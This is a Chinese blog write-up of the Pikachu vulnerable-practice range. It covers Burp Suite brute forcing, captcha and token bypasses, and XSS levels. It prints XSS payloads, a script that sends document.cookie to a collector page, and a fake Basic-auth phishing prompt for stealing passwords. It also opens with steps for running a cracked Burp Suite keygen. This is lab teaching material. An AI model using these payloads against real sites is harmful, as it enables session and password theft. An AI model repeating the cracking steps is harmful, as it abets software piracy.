pikachu靶场全通关【更新中】

0.安装

0.1靶场环境

参考:pikachu 靶场环境搭建
一点毛病没有,一遍成功。

0.2BurpSuite安装破解

本意参考:BurpSuite:破解最新版 Community 2026.4.3
这篇破解在不同设备上可能有不同。

tips:

  • 先正常安装BurpSuite,最好是2026.4.3版本
  • 获取破解程序。BurpLoaderKeygen_v1.18.jar 地址:BurpLoaderKeygen_v1.18.jar
  • 按照上方教程走。可能遇到jar包无法双击打开的问题。使用cmd 中 java -jar Loader.jar 方式打开。继续按照教程走
  • 创建快捷方式方便使用 E:\software\Java\bin\javaw.exe -jar "E:\software\BurpSuite\Loader.jar"

1.暴力破解

1.1基于表单的暴力破解

首先随便试一下账号密码,发现有一句话,那么登录成功和失败的返回的内容长度是不一样。(随便试了一下admin 123456猜对了。。。)
登录失败

请求拦截

那么用字典暴力破一下试试。

burpsuite暴力破解模式的区别:

  • Sniper
    • 这种模式适合只爆破一个变量,如果用户名和密码都不知道的情况下不会使用该模式去爆破。
  • Battering ram
    • 这个攻击方式通常设置两个攻击变量,这两个攻击变量使用同一个字典进行依次执行,两个变量替换内容都是一样的。
    • 对于字典A、B、C... 字段1&字段2 使用效果 A A,B B,C C
  • Pitchfork
    • 设置几个变量就可以设置几个字典,但是字典中的参数都是一一对应的,以短的字典为截止
    • 对于三个字段,分别对应三个字典 A B C a b c d e 1 2 使用效果 A a 1 , B b 2 就这两组
  • Cluster bomb (最常用)
    • 设置几个变量就可以设置几个字典,交叉对应【笛卡尔积】,存在的可能性最多。既第二个字典的第一个变量要匹配第一个字典的每个变量一次,直到全部匹配完为止。

用户名字典
密码字典

可以增加匹配字符串的结果显示
image

破解结果:
image

1.2验证码绕过(on server)

尝试一下发现验证错误时候显示验证错误,正确时候报密码的正确性
image

肉眼识别正确验证码,repeat多次账密,发现不会更新验证码。可以爆破
可以用重复的验证码去爆破,也就是验证码存在不过期,可以重复利用。
image

暴力炸弹:
image

破解结果:
image

源码:

<label>
	<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();" />
</label>

点验证码图片或者页面刷新加载的时候就会调这个php。

<?php 
session_start();
include_once 'function.php';
//$_SESSION['vcode']=vcode(100,40,30,4);
//生成一个验证码并将字符串写入session 默认时间24分钟,应该设置过期时间。或者在用一次的时候销毁掉
$_SESSION['vcode']=vcodex();
//验证码绕过 on server 这里其实还是有一个问题,就是服务端将验证码字符串以明文COOKIE的方式给了前端,那验证码还有什么鸟意义。。。
setcookie('bf[vcode]',$_SESSION['vcode']);
?>

也就是在这里不论对错使用一次session的验证码字符串之后就应该销毁。

//略
if (empty($_POST['vcode'])) {
                $html .= "<p class='notice'>验证码不能为空哦!</p>";
            } else {
//              验证验证码是否正确
                if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
                    $html .= "<p class='notice'>验证码输入错误哦!</p>";
                    //应该在验证完成后,销毁该$_SESSION['vcode']
                }else{

                    $username = $_POST['username'];
                    $password = $_POST['password'];
                    $vcode = $_POST['vcode'];

                    $sql = "select * from users where username=? and password=md5(?)";

1.3验证码绕过(on client)

与1.2不同的是验证码会变化:
image

验证码校验过程是在前端进行的,后端是不会进行校验的,所以这里随便输入啥都可以。
确认方式:首先看这里有个validate函数
image

然后搜索这个函数名:
image

校验逻辑:检查inputCode是否等于一个名为code的变量。如果它们不相等,它显示一个警告消息,内容为"验证码输入错误!",并调用一个名为createCode()的函数来刷新验证码。

所以在页面,随便输入账密+正确的验证码,数据才可以提交到后端,bp才可以抓到包,然后用这个直接爆破

爆破结果:
image

源码:

if(isset($_POST['submit'])){
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from users where username=? and password=md5(?)";
		//后端根本没有使用验证码!
        $line_pre = $link->prepare($sql);

1.4token防爆破

抓包看请求带了token,每次请求token值也不一样,同一个token也无法重复使用
image

看前端表单中有一个隐藏项:
image

token值在前端源码中,每次请求得到的页面源码中都有一个新的token。配置一个正则重定向,爆破时候,每次请求用上次请求返回的源码中的token,这样的话token每次都想当于是正确的,本质上是在爆破密码。

(但是这样似乎得保证账号是已知的?)

使用Pitchfork草叉模式,两个字典一一匹配成组式。

第一个字典正常填充,第二个参数token使用 Recursive grep

Recursive grep 指递归搜索,再一个目录结构下对文本内容进行全局查找。

image

配置如下:
(注意区分 Grep Match 和 Grep Exact)
image

返回负载配置页面可以看到刚才的结果添加到了这里
image

选择创建一个单线程的池来爆破这个情况
image

爆破结果:
image

源码:

//每次刷新页面都会生成token
set_token();

//生成一个token,以当前微妙时间+一个5位的前缀
function set_token(){
    if(isset($_SESSION['token'])){
       unset($_SESSION['token']);
    }
    $_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}

<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
//每次刷新都会有新的token写到session

2.XSS

2.1反射型xss(get)

对于填写的内容会显示在页面上。
image

捕捉的请求:
image

尝试提交 ""<>123 这种内容,有两个作用:

  • 查看网页源码,会发现这个内容被直接拼接到了p标签中,说明可以利用尝试注入
  • 可以观察有没有转义或者替换之类的情况发生

比如直接提交这个内容:发现有个换行的显示效果
image

查看网页源代码发现确实导致了标签闭合
image

直接注入,发现有长度限制。
image

直接修改前端代码内容:
image

注入成功。
image

源码:
image

!!!
源码是一个 .php 文件,它全部运行在服务器上。你看到的那些看似“前端”的HTML标签(<div>, <input>, <p>),其实是PHP拼接字符串的方式“打印”出来,再发送给浏览器的。

2.2反射性xss(post)

登录之后直接注入
image

这一关存在的意义是?
首先get post的典型区别是:前者使用url方式请求数据。后者是用表单方式在请求体里面提交。
get方式的xss更容易被利用,直接构造URL被注入的payload写在URL,就可以形成钓鱼链接。post是用表单方式提交,相对不易利用。

2.3存储型XSS

首先依旧尝试特殊字符试探显示结果
image

查看网页源代码可以确定是把这个字符串直接放到 p 标签里面。
image

所以我们直接尝试注入,注入成功。而且每次刷新都会弹窗,这说明这条评论是被存储到数据库里了,每次刷新尝试把评论展示出来都会触发脚本。

2.4DOM型xss

DOM 可以理解为访问HTML中的元素的标准编程接口

<html>
<head>

<script type="text/javascript">
function getValue()
{
    var x=document.getElementById("myHeader")
	//如此可以实现访问HTML的元素
    alert(x.innerHTML)
}
</script>

</head>
<body>

<h1 id="myHeader" onclick="getValue()">这是标题</h1>
<p>点击标题,会提示出它的值。</p>
</body>
</html>

回到这一关,查看网页代码发现如下实现:
可以看到本质上是直接通过前端操作获取了输入的东西,然后拼接了一个字符串然后插入了dom这个元素中。
image

所以,注入的策略就是想办法用str变量内容闭合单引号并注入alert。

"<a href='"   +  str  +    "'>what do you see?</a>"
str内容:tttt' onclick='alert(1)'>
拼接效果:<a href='tttt' onclick='alert(1)'>'>what do you see?</a>

注入成功:
image

2.5DOM型XSS-x

依旧首先试探特殊字符,发现单双引号尖括号没有了。
image

查看网页代码:
image

本质与上一节是一样的,注入闭合引号和标签尖括号。使用上一节内容,注入成功。

2.6XSS盲打

输入的内容没有显示出来,而是被存储了,后台管理员可以查看。
image

image

直接注入,管理员页面刷新则弹窗。

2.7XSS过滤

直接注入发现这里做了特殊字符检查的。
image

image

那么,可以如下绕过,因为后端只检查了小写的script

<ScRipt>alert(1)</sCript>

<video src=1 onerror=alert(1)>

2.8xss之htmlspecialchars

htmlspecialchars()函数把预定义的字符转换为HTML实体。预定义的字符是:

&(和号)成为 &amp;
"(双引号)成为 &quot;
'(单引号)成为 &#039;
<(小于)成为 &lt;
>(大于)成为 &gt;

先输入几个字符观察一下:
image

注意到没有对单引号作处理,这是这个函数的默认情况,可以利用这一点:
' onclick='alert(1)'

image

2.9xss之href输出

XSS防御措施,输入做过滤,输出做转义。所有输出到前端的内容根据输出点做转义。

如果有个需求是需要把用户输入的网址输出在a标签的href属性里面,所以可以使用javascript协议来执行js
javascript:alert(111)

image

防御措施:只允许http,https协议,其次在进行htmlspecialchars处理

2.11 附加节-钓鱼攻击演示

cookie获取

  1. 攻击者把恶意代码植入网站,比如通过利用漏洞发出带脚本的评论存储到数据库了。
  2. 受害人访问页面触发代码,页面一加载就触发了js脚本
  3. 浏览器自动将cookie发给攻击者
  4. 攻击者拿到受害人的cookie
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
// 作用就是将被害人的cookie发到攻击者的后台
// 注入的 JS 运行在 目标站点(pikachu)的源 下,所以 document.cookie 读取的是 pikachu 域的 cookie, 完全在同源范围内 ,浏览器不会拦截。

注入:
image

后台记录:
image

钓鱼攻击

攻击者通过存储型XSS注入恶意脚本,伪造了一个浏览器身份验证弹窗,诱导用户主动输入账号密码并发送给攻击者服务器。

fish.php 通过伪造 HTTP Basic 认证弹窗骗取用户账号密码。
利用 PHP 的 HTTP Basic 认证机制 :

  • 当浏览器收到 WWW-Authenticate: Basic realm='xxx' + 401 响应时,会自动弹出系统原生的账号密码输入框(不是网页表单)。
  • realm='认证' 是弹窗里显示的提示文字,可以改成更具诱惑性的内容,比如 realm='系统升级,请重新登录' 、 realm='管理员验证' 等。

用户一旦在弹窗输入了账号密码并确定,fish.php 通过 Location 跳转把账号密码以 GET 参数 形式送到收集端 xfish.php

<img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" />
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

要求登录:
image

获取键盘

协议、域名、端口只要有一个不同,就是不同域,访问不同域的资源就称为“跨域操作”。浏览器出于安全考虑对此有限制,但 XSS 正是利用 <img>、<form> 等标签可跨域发送请求的特性,来实现数据窃取的。

跨域-同源策略
为了安全考虑,所有的浏览器都约定了"同源策略"。同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的JavaScript并不能操作y.com域下的对象。如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header("Access-Control-Allow-Origin: x.com") 指定。
这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。

  • <script src="..."></script> // JS,加载到本地执行
  • <img src="..." />
  • <link href="..." />
  • <iframe src="..." /> // 任意资源

https://portswigger.net/web-security/sql-injection/cheat-sheet

posted @ 2026-08-19 22:37  Estrus  阅读(8)  评论(0)    收藏  举报